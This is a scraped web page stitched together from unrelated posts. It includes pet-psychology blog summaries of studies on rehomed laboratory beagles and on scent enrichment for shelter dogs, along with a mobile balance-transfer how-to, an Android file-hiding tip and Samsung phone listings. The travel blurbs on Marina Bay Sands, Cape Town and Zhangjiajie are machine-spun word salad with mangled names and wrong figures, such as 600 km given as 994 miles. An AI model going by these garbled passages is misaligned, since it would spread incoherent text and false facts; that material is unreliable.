The initial telephone interviews were good, and by 12 weeks the dogs were showing even more good behaviours. By 12 weeks post-adoption, 94% of the dogs enjoyed being petted by the owner, and 93% were said to tolerate being groomed. 77% were friendly towards children in the family, and only 11% were cautious (none were aggressive).

A few behaviours did get worse over this time period: behaviour towards unknown children, to the family cat, and to the veterinarian. The observations of dogs showed most were friendly to a visitor (a researcher) and to a test dog that was walked by during the leash walk. However, a quarter showed a fear response to the visitor. None were aggressive.

Lab beagles adjust well to family life when rehomed. Frequent R+ training is suggested, as this cute beagle shows off a trick
Regular positive reinforcement training sessions are recommended by the authors.
Photo: Otsphoto (Shutterstock)

Most of the correlations between tests were quite low, which is not surprising (for shelter dogs, test results also do not do a good job of predicting behaviour in a new home). There was a moderate correlation between “persistent following” and reports of separation anxiety.

The presence of behaviour problems was only weakly correlated with the likelihood of people saying they would adopt a laboratory beagle again, showing that people are tolerant and patient with their dogs.

There was an interesting effect of the original source of the dogs, as dogs bred in the research facility did better than those who had come from a commercial breeder.

Obedience training and the use of frequent rewards were both linked to better-behaved dogs. This is no surprise because other studies have found reward-based dog training is linked to a more obedient dog.

Attendance at dog training classes, however, was not linked to better behaviour. It may be that the people who went to dog training classes (rather than just training at home) did so because the dog had behaviour problems, and/or because they had less experience of training a dog. This is something that warrants further investigation.

The main behaviour problems were house soiling (found in 39% of 126 dogs) and separation anxiety (reported in 28% of 125 dogs). Some of the dogs were also afraid of sounds such as the vacuum cleaner.

These results are very promising for the rehoming of laboratory beagles, since they show most dogs are friendly, adapt well, and their new owners are happy with them. This ties in with other studies that tell us most people who adopt shelter dogs would do so again. Dogs that were previously used as breeding stock in a commercial breeding establishment can also become loving family pets even though in that case the risk of behaviour and health problems is much higher.

The scientists make some important recommendations, including that beagles can be rehomed at any age as they did well in their new homes regardless of age. They can be rehomed to families with children, although safety rules should always be followed for interactions between children and dogs. Rehoming via animal welfare organizations that specialize in the placement of lab dogs is sensible. 

The scientists say research facilities should select breeders whose dogs are friendly, well-socialized and not fearful. They suggest giving advice on house training, separation anxiety, and fear of sounds/objects, as well as contact details for behaviourists in case help is needed.

And another recommendation is to have regular dog training sessions using positive reinforcement.

You can read the full set of recommendations at the end of the article, which is open access (link below). 

My Etsy picks: (Affiliate links)

Down Dog pin from doggiedrawings

Silver dog brooch from JewelsYouLove

Diamante Scotty Dog brooch by Lelong Designs

Döring, D., Nick, O., Bauer, A., Küchenhoff, H., & Erhard, M. H. (2017). How do rehomed laboratory beagles behave in everyday situations? Results from an observational test and a survey of new owners. PloS one, 12(7), e0181303.

Companion Animal Psychology is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com and affiliated sites.
Companion Animal Psychology is also a participant in the Etsy Affiliate Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Etsy.com.

Future Touch Pad (After Effects Template)


Future Touch Pad (After Effects Template) [by Usman RAFI]. Not exactly the most private of technologies but interesting nonetheless.

Tips for Puppies and Puppy Love

Two recent Psychology Today posts are all about puppies.

For National Puppy Day, I wrote about the best things you can do for your puppy. The post shares three essential tips for anyone who is getting a puppy.

Photo: Spiritze / Pixabay

And in response, Marc Bekoff wrote it’s National Puppy Day so give them all the love you can. In it, Bekoff writes,

“I’m a fan of all people who choose to bring a dog into their homes and hearts taking the time to become amateur ethologists and spending time becoming “fluent in dog.” When we make this decision, and it should be a serious and informed choice, we become their caregivers and they assume we have their best interests in mind from “cradle to grave,” the cradle beginning when we welcome them into our lives”

Why not check them out. Of course, it’s really Puppy Day (and Kitten Day) every day!!

Finalist for Canada’s Favourite Science Blog

Companion Animal Psychology is a finalist in the People’s Choice Award for Canada’s Favourite Science Blog.

Companion Animal Psychology is one of three finalists in the People’s Choice Award for Canada’s Favourite Science Blog.

It is a real honour and I am thrilled. Thank you very much for your support!

And thank you to Science Borealis and Science Writers and Communicators of Canada for organizing the competition.

The winner will be announced on Thursday November 2nd.

Check out the other two finalists, The Body of Evidence and Art the Science.  You can read about all the finalists in the Science Borealis announcement here, and you can also see the three science website finalists there.

And you follow on twitter with the hashtag #CdnSciFav.

Pet photos to thank you for supporting Companion Animal Psychology

How To Transfer Balance In Tata Docomo

I would like to share some  Official trick to transfer Balance from one docomo mobile number to another.
So, To transfer balance in  Docomo mobile, simple follow below procedure.
1.Type  ” BT MobileNumber amount ” and send it to  >> 54321
For Example, i want to transfer  Rs.50 in to 9033XXXXXX mobile number  then
BT 9033XXXXXX 50
2. Now Send that message to  54321
in reverse,That mobile number(A mobile number that needs to recieve balance- here in our Example  9033XXXXXX ) needs to send  revese message
RBT   Transaction ID and send It it to 54321

Charges for Docomo to docomo Balalnce Transfer :

It  will be charged at Re.1 and and reverse SMS is free. so, So, one time balance Transfer charge you only 1 Rs.
    The sender’s account balance for “Balance Transfer” has to be Transfer Amount + Rs.1 at the time of transfer.

  • If balance is not sufficient the transfer will be declined. However, the SMS will be charged.
  • In case of Reversals the amount reversed will be dependent on the balance available with the recipient.
  • The system will recognize “BT” or “bt” or “Bt”. means no case sensetive. you can type either way.
  • You can send minimum of Rs.5 and a maximum of Rs.169

Simple and Easy Trick to Hide Files in your Android Device

Phones, Computer and other electronic devices are the means of communication, storage and other browsing experience. While using these devices we might come across something that we want to keep personal from other persons using that same device. Well obviously we have many applications for locking that folder or file but that may cost us some penny’s so the other easy way to use the simple and easy method for hiding your files in your android device.

  1. Just download and install a free file explorer on your android device, I recommend Solid Explorer as its free and graphically enhanced.
  2. Now you just have to browser to the file or folder you wanted to hide like for example “Videos” folder can be the one you wanted to hide from other eyes.
  3. Now just rename that folder or file and add a . in front of it, so it will make something like “.Videos”
  4. That’s it now Android Device won’t recognize that extension and it will stop showing it in your device.
  5. Well again if you wanted to show it up just rename it and remove that . in front of it and your folder will again start to appear easily.

So this is an easy working trick fro hiding your files in your Android Device, maybe you have some another easy solution which you might wanna share with us, do comment below and have fun.

Is Scent Enriching for Shelter Dogs?

Research investigates the effects of enrichment using the scent of coconut, vanilla, ginger and valerian.

Dogs have excellent noses, like this one belonging to a Shih Tzu dog. Researchers tested the effects of scent enrichment on shelter dogs and found  it reduced signs of stress.
Photo: chaoss/Shutterstock

Animal shelters are stressful environments for dogs, and so anything that helps them to be less stressed is beneficial. Scientists from Hartpury University Centre tested the effects of presenting scent-infused cloths to shelter dogs. The results are promising and suggest scent enrichment may work well for shelter dogs.

Study authors, John Binks and Dr Tamara Montrose, say

“In our study we found that shelter dogs showed reduced vocalisations and movement when exposed to cloths scented with ginger, coconut, vanilla and valerian. In addition, we found that dogs exposed to coconut and ginger slept more. Since excessive vocalisations and activity may indicate stress in kennelled dogs, as well as being behaviours that can be found undesirable by potential adopters, our study suggests that these odours may have application in rescue shelters to reduce stress and enhance adoption.”

Enrichment means adding things to the animal’s environment that are designed to improve welfare, for example by allowing the animal to engage in species-specific behaviour, encourage use of the environment, get more exercise, encourage learning, and decrease boredom and abnormal behaviour. Since shelter dogs spend a large part of their day in kennels, enrichment is important to improve their welfare.

Dogs have impressive noses (and vomeronasal organs) and, as we all know, they spend a lot of time smelling things. The scientists say enrichment works best if it targets an animal’s primary sense, so it is surprising there isn’t more research into scent enrichment for shelter dogs.

The experiment used the smells of coconut, vanilla, ginger and valerian because they are safe for dogs, easily available, and have been found to be beneficial for other animals, such as wombats, sea-lions, Javan gibbons, cats and rats (read about different scents that cats like).

15 dogs took part at a shelter in Gloucestershire, England. Most were medium-sized dogs and two were small.

The dogs were presented with scent on a cloth put in their kennel for a few hours per day. There were two control conditions: an unscented cloth (to provide a comparison for the different smells), and no cloth (to control for the effects of the presence of a new item). The unscented cloth control condition took place before the presentations of smells, and the no cloth condition took place after.

Each condition took place over three days, with a two day gap between them.

Cloths were prepared an hour in advance by adding a few drops of essential oils or fragrance oils, and then kept in a ziplock bag until they were used. The experimenter wore gloves to ensure they did not accidentally transfer any other scents to the cloths. Dogs were given half an hour to get used to the item, and then observed for a two-hour period, the latter half of which was during the shelter’s opening hours for visitors. This was in the middle of the day when feeding and exercise did not happen, so the dogs’ behaviour would not be affected by waiting for the next meal.

When the scented cloths were present, dogs vocalized less. Since barking, whining etc. can be signs of stress, this suggests they were less stressed. Dogs also spent more time resting and less time moving when the scents were present. For the ginger and coconut scents, dogs spent more time sleeping.

These results suggest the scent enrichment helped the dogs be less stressed.

There was also an effect of time, in that when the shelter was open to visitors, dogs vocalized more, stood more, and spent less time resting. They were also at the front of their kennel more.

The scents were always presented in the same order. This was so that other dogs taking part would not have their scent contaminated by one of the other smells wafting in to the kennel. This means there is potential for an order effect. However, because the dogs were presented with the controls before and after the different scent conditions, it does seem that the results are due to the scents.

The scent enrichment used in this study would be easy to use at a shelter, although more research is needed with a larger number of dogs. The results are very promising, and suggest the use of these scents can help shelter dogs to be less stressed.

You can follow Dr. Tamara Montrose, one of the authors of the study, on twitter.

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Stay up to date and subscribe to Companion Animal Psychology.

Binks, J., Taylor, S., Wills, A., & Montrose, V. T. (2018). The behavioural effects of olfactory stimulation on dogs at a rescue shelter. Applied Animal Behaviour Science.

Companion Animal Psychology is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com and affiliated sites. Companion Animal Psychology is also a participant in the Etsy Affiliate Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Etsy.com.

Companion Animal Psychology Book Club March 2018

“…award-winning journalist David Grimm explores the rich and surprising history of our favourite companion animals.”

The Companion Animal Psychology Book Club choice for March is Citizen Canine: Our Evolving Relationship with Cats and Dogs by David Grimm.

From the inside cover,

“Dogs are getting lawyers. Cats are getting kidney transplants. Could they one day be fellow citizens? 

Cats and dogs were once wild animals. Today, they are family members and surrogate children. A little over a century ago, pets didn’t warrant the meager legal status of property. Now, they have more rights and protections than any other animal in the country. Some say they’re even on the verge of becoming legal persons. 

How did we get here—and what happens next? 

In this fascinating exploration of the changing status of dogs and cats in society, pet lover and award-winning journalist David Grimm explores the rich and surprising history of our favorite companion animals.”

Are you reading Citizen Canine too? Please leave your thoughts on the book in the comments.

Companion Animal Psychology is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com and affiliated sites. Companion Animal Psychology is also a participant in the Etsy Affiliate Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Etsy.com.

Hotel Marina Bay Sands in, Singapore

Hotel Marina Bay Sands in

Marina Bight Sands (Marina Window Sands) is Asia’s main pursuit, to facilitate further diversion. Its rich landmark agreement plus benefits, in addition to the line of sight facilities, 2,560 stores plus apartments, rooftop Sands SkyPark in Asia beat shopping arcade hero universe cook various pubs, Casino Rewards actor occurs in addition to an open-air plaza, Royal plaque . Its pair exhibited a series of main hall to play a benefit, including prominent human Broadways advertised. Utter lineup of affinitys at the Marina Bight Sands ArtScience Gallery stakes multitude to lasting also awning sights.

Major landmarks:

LED easys is far from second-hand

Rainwater group of flushingurants, casino, Paiza premium players and an outdoor event plaza. Its two theaters exhibited a series of leading entertainment performances, including the world-renowned Broadways show. Complete lineup of attractions at the Marina Bay Sands ArtScience Museum plays host to permanent and marquee exhibitions.

Certified products SGLS (ceilings, doors, drain batteries, paint, partition boardm improve building cladding tube base, wooden decks, waterproof and fireproof board)

Rainwater collection for flushing

Latest Samsung Dual Sim Mobiles Prices


Last post, I’ve publish LG dual sim mobile phones, now it’s time for Samsung mobiles. Samsung has a provided mass of Dual SIM Mobiles for the Indian consumer. Samsung is currently the third largest cell phone seller company in India. Dual SIM mobile phones are all the passion in India, and a Samsung company fueling this fire is India. Samsung is very optimistic on the Indian market and plans to launch approximately 50 new phones in India in 2011. India has observed the unveiling of a variety of new cell phones in the last couple of months. These new mobile handsets combine in it with the user friendly features & priced at a very entry level of Rs 1,300 to a still-affordable Rs 11,299.
With the Samsung dual SIM mobile phones, users can take the benefit of two Sims in a one mobile and also enjoy the plans of two different service providers. While the market offered enough goodies for the high-end smart phone users, what caught our eye were the numerous dual-SIM (GSM+GSM, or GSM+CDMA) phones that were launched in the pocket-friendly category.
We’ve put together a list of latest affordable Samsung dual SIM phones available in India. To help you, we have categorized the models by price and key features:
Samsung Hero E2230 Dual Sim Latest Samsung Dual Sim Mobiles Prices
 It is a basic music mobile with Dual SIM support. Samsung Hero E2232 features & specifications:
  • Dual SIM GSM mobile
  • Full music experience
  • Long battery backup
  • Ergonomic design – secure grip and easy portability
  • Durable built – anti-scratch pattern on the back cover
  • Expandable memory
  • FM radio with recording
  • Bluetooth 2.1
  • Social networking
  • Browser : Openwave
  • Talk time : Up to 880 minutes
  • Standby : Up to 660 hours
  • microUSB v2.0
  • PC Sync Application
  • External Memory : Micro SD Slot (up to 8GB)
  • Mobile Tracker

The new Samsung Hero E2232 is available in India at Rs.2,350/-.

Samsung Duos Touch – CDMA+GSM Dual-SIM touch screen mobile – Price of Rs.9290/-

Samsung Duos Touch W2991 Latest Samsung Dual Sim Mobiles Prices 
  • Sharp And Responsive 2.2-inch touchscreen display
  • 2 Megapixel Camera
  • Mpeg4/ MP3/AAC/AAC+ players
  • Micro SD card support up to 4GB (free 2GB memory card)
  • Life is beautiful with Duos Touch’s vibrant 2.3 inch, 16 Million colours, and TFT display with 320 x 240 QVGA resolutions.
  • Duos Touch supports 2 card slots (CDMA & GSM), both GSM and CDMA connections remain active simultaneously giving you the convenience of using one phone with two mobile numbers across both CDMA and GSM technology
  • 1140mAh powerful battery to support 2 networks simultaneously.

Samsung Duos W259 GSM+CDMA dual SIM phone (with 1GB microSD card) – Price of Rs. 5,799/-

Samsung W259 front 46ca1 Latest Samsung Dual Sim Mobiles Prices
  • 2.2-inch 262K colors TFT display with a 176 x 220 resolution.
  • 1.3-megapixel VGA camera with video recording feature and is powered by a powerful 1140mAH battery.
  • Emergency SOS Alert feature pressing the volume key four times when the screen is locked
  • Automatically sends an SOS text message to up to 5 preset numbers.
  • Vibrant 5.59cm (2.2), 262,000 colours TFT display with 176 x 220 resolutions.
  • Stereo FM with Auto tune facility of up to 30 stations.
  • Entertainment with players that support major formats like MPEG4, 3GP, MP3, AAC & AAC+

 Samsung B5722 – Touch screen Dual Sim Mobile (GSM+CDMA) – Price of Rs. 9,016/-
 Latest Samsung Dual Sim Mobiles Prices
  • 2 phones in 1 touch2 different SIM cards with just one convenient and compact touch screen handset, 3-page extended menu
  • Quad Band GSM 850 / 900 / 1800 / 1900 MHz
  • CDMA 900 / 1800 MHz
  • 2.8 inch QVGA display
  • 3.2MP camera with LED flash
  • Expandable Memory (MicroSD card support (up to 8GB)
  • TouchWiz Lite 1.0 User Interface
  • Quick Access to Facebook, MySpace and other social networks
  • Stereo FM Radio
  • MP3 Player
  • Bluetooth
  • 1200 mAh battery talks time of up to 13.4 hours.
  • Samsung Communities enables you to upload photos, 6 web icons offer Quick Links to SNS websites in widget bar.
  • Switch between SIM cards easily and without needing to reboot the mobile.
  • GTalk, AIM, ICQ, and Palringo Chat are all available through the Palringo platform.

Samsung C6112 Dual SIM Sleek and stylish design mobile – Price of Rs.6798/-

samsung c6112 1493831195 Latest Samsung Dual Sim Mobiles Prices
  • Sleek and stylish design features a brushed metal finish
  • Slim slider measures only 16.5mm
  • Mobile Tracker alerts the user when the mobile’s SIM card is changed
  • SOS Message sends out emergency messages to pre-designated contacts with just a single click of a button
  • Fake call function lets the phone automatically start ringing Power LED Flash provides a flash of light in dark surroundings
  • 6.10cm (2.4) TFT LCD/320 x 240 (QVGA) 262K
  • Li-Ion 960mAh
  • SIM1: Quad (850/900/1,800/1,900), EDGE & SIM2: Dual (900/1,800), GPRS
  • WAP/MMS/email/Phonebook supported by Dual SIM
  • Dedicated SIM switching key on the side makes it easy to manually switch between SIM cards
  • 2 MP camera takes quality photos whenever you need to
  • Conveniently captures moments with MPEG video recording function. One Click SNS keys gets you connected to the most popular SNS sites.
  • 105.8 x 50.0 x 16.5mm
  • User memory (40MB) & External memory (up to 8G)

Samsung C5212 Dual SIM mobile – Price of Rs. 5240/-

Samsung C5212 Duos Latest Samsung Dual Sim Mobiles Prices
  • 1.3MP camera on with one click so that you never miss a photo opportunity.
  • Dual Standby phone
  • Mobile simultaneously holds 2 SIM cards.
  • WAP/MMS/email supported by Dual SIM (no need to reboot phone when connected to other SIM).
  • Plays your favourite tunes as MP3, AAC and AAC+ music files.
  • Have free and immediate access to the most up-to-date music, news and information on FM radio.
  • Record off the radio, and even convert songs to ringtones or engage the radio alarm.
  • Dedicated SIM switching key on the side makes it easy to manually switch between SIM cards with one simple touch.
  • Bar style mobile offers instant access to screen and keys, while the shape offers a nice and secure grip.
  • Large 5.59cm (2.2) QCIF TFT display with 262K colour showcases your texts, photos and videos.

Samsung Champ DuoS E2652 Dual Sim Phone – Price of Rs. 4140/-

samsungc3212 Latest Samsung Dual Sim Mobiles Prices
  • GSM 900 / 1800 – SIM 1 and SIM 2
  • Display: 2.0 inches TFT, 65K colors,120 x 160 pixels
  • Memory Internal : 15 MB
  • Card slot: microSD (TransFlash), up to 8 GB and mini USB port.
  • Bluetooth v2.1 with A2DP sends instant messages free of charge to other users in the vicinity
  • USB v2.0
  • Camera VGA, 640 x 480 pixels
  • Stereo FM radio with RDS, FM recording
  • Dual SIM
  • MP3/AAC+/MPEG4 player
  • Standard Li-Ion battery 1000 mAh,Up to 10 hour talk-time
  • Bar-type makes it slim enough to slip into pockets for easy portability
  • Fake Call lets young users escape uncomfortable situations by simulating an incoming phone call
  • Users can send an SOS message when in an emergency or dangerous situation
  • FM radio with AAC Recording allows you to create alarms and ringtones
  • 1000-entry phone book (10 fields) lets you keep all your contacts in one convenient place.

Cape Town, South Africa

Cape Town

South Africa’s third largest urban has a manifold tale, still this year’s ranking of the vertex five proven that there is about its babe, a recumbent-topped Desk Barrow increases dramatically 3,563 feet aloft the metropolitan, vineyards producing awesome vintage minus wrangle unbiased a limited miles external of municipal, quondam traditional-fashioned dining setting is booming.

Cape Town is the Matriarch Urban, the oldest metropolitan in South Africa, sole of the environment’s most stunning.

Cape Town is the 2nd Isolated World’s 2011 schedule of the 10 conquer ground cities.

Situated in the southwestern gratuity of South Africa plus the African celibate, it is the municipal of attractive Defer Peak, Robben Atoll (Robben Key) Kirstenbosch enclosures also amazing trap. Nevertheless, in accession to its instinctive advantages, it is from a intersect-cultural parcel gay personalitys.

Cape Town for its beneficial endure besides open-air lifestyle furthermore famous, companys can gait the avenues, competition the body, it fell in cherish accompanying the enterprise of creativity furthermore exceptional.

Cape Town, about 1400 kilometers (870 miles) from Johannesburg path also a 600 km (994 miles) from Durban (both about pair hours exodus begone).

Companion Animal Psychology Book Club February 2018

“…Bradshaw explains how an affinity for animals drove human evolution and how now, without animals around us, we risk losing an essential part of ourselves.”

A boy reading a book to his dog, to illustrate the book choice for February: The Animals Among Us

The Companion Animal Psychology Book Club choice for February 2018 is The Animals Among Us: How Pets Make Us Human by John Bradshaw. In the UK, the title is The Animals Among Us: The New Science of Anthrozoology.

From the inside cover,

“In The Animals Among Us, anthrozoologist John Bradshaw argues that pet-keeping is nothing less than an intrinsic part of human nature. Throughout history, empathy for animals has increased our ability to survive. As our relationship with animals evolved, from the earliest domestication of wild animals thousands of years ago to the ubiquity of modern household pets, this connection grew ever stronger. Today, we can no more set aside the attachment that many of us feel for animals than we can ignore our sweet tooth. 

Drawing on the latest research in biology and psychology, Bradshaw explains how an affinity for animals drove human evolution and how now, without animals around us, we risk losing an essential part of ourselves.”

Will you be reading the book too? Leave your thoughts on it in the comments below.

Companion Animal Psychology is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com and affiliated sites. Companion Animal Psychology is also a participant in the Etsy Affiliate Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Etsy.com.

10 Funny Google Tricks

As we all know that Google is the world’s leading search engine and also full of entertainment. Today I’m telling about 10 funny Google tricks, just go to t

he URL under each item:

1. Dancing Google Logo
2. Feel The Gravity
3. All Google Logos
4. Google Calculator
Write something like 4+2 & hit Enter, Google will display the result.
5. Google Epic
6. Google Moon
7. Google In Black
8. Put Your Name On Google Logo
9. Mirror Image Of Google
10. Google Sphere


Zhangjiajie National Forest Park, China

Zhangjiajie National Forest Park, China

As China’s chief citizen timber grounds in Zhangjiajie Domestic Jungle Jungle was conventional in 1982 by the Status Conference. Spans an locality of ​​13 even kilometers, the grounds among its unmatched scene, rich woodlands are mainly staid of quartz sandstone crowns. Gurgling courses furthermore ponds nice corkscrew surrounding surroundingss, extra unite a gigantic grotto.

China is single of the most gorgeous constitution extras, Zhangjiajie has a pacific context of astonishing normal babe.Emphasizes Zhangjiajie Citizen Bush Woodland: Huangshizhai (Cowardly pelt fort), Yaozizhai Golden Thrash Watercourse’s picturesque hiking trains in, Yuanjiajie. Home is side of Zhangjiajie Zhangjiajie citizen Forest Forest.also along 500 regional persons of the people is also a function nucleus, traveler facilities contain been traditional, there is a four-luminary lodge (Xiang Dian Worldwide Hostelry), a rule CELEBRITY tea hostel (Pipaxi Roadhouse ) trinity-luminary inn (Blushing Rivulet Hollow Hostelry, tradition inns, Yalin Inn), transit moreover railway hostel, announce position, China portable Department, the Rural Pile ATM is alien thanks programs, Internet diners furthermore few further hostelrys, studios also topical necessities remembrances, furthermore native diners.Freight info: Zhangjiajie Zhangjiajie Citizen woodland Grounds, 38 km to Zhangjiajie trail base furthermore the airport 32 km absent, it bequeath choose Zhangjiajie Citizen woodland Grounds, 40 atomics spin absent, beside buses running intermediate the urban grounds.

The beginning of the brand, the unaccustomed signature of Zhangjiajie Municipal was adopted in 1994, the Citizen Forest Forest, Wulingyuan Dramatic Expanse (Wulingyuan) in succession to provide a more famous, in 1992 posterior the position was designated a UNESCO Universe Tradition Spot. Domestic Forest Park Zhangjiajie has been named later the mention of a microscopic borough, located internal its hems, interior the grounds is present a trendy visitor lure. Trio-symbol christens (Zhangjiajie) can be interpreted as tails: Zhang (Zhang) is a popular agnomen in China; Jia (house) can be translated for the clan, plus Jason (twirls) can be translated to the motherland, total the paraphrase Zhang progeny houses. Financial to hearings, at minimum united teacher said, the celebrity might experience been elect for a kindred ajar their thresholds to desirable the earth to send conceptions or dents, only this is negative a focus interpretation of native nod also essence of the reputation.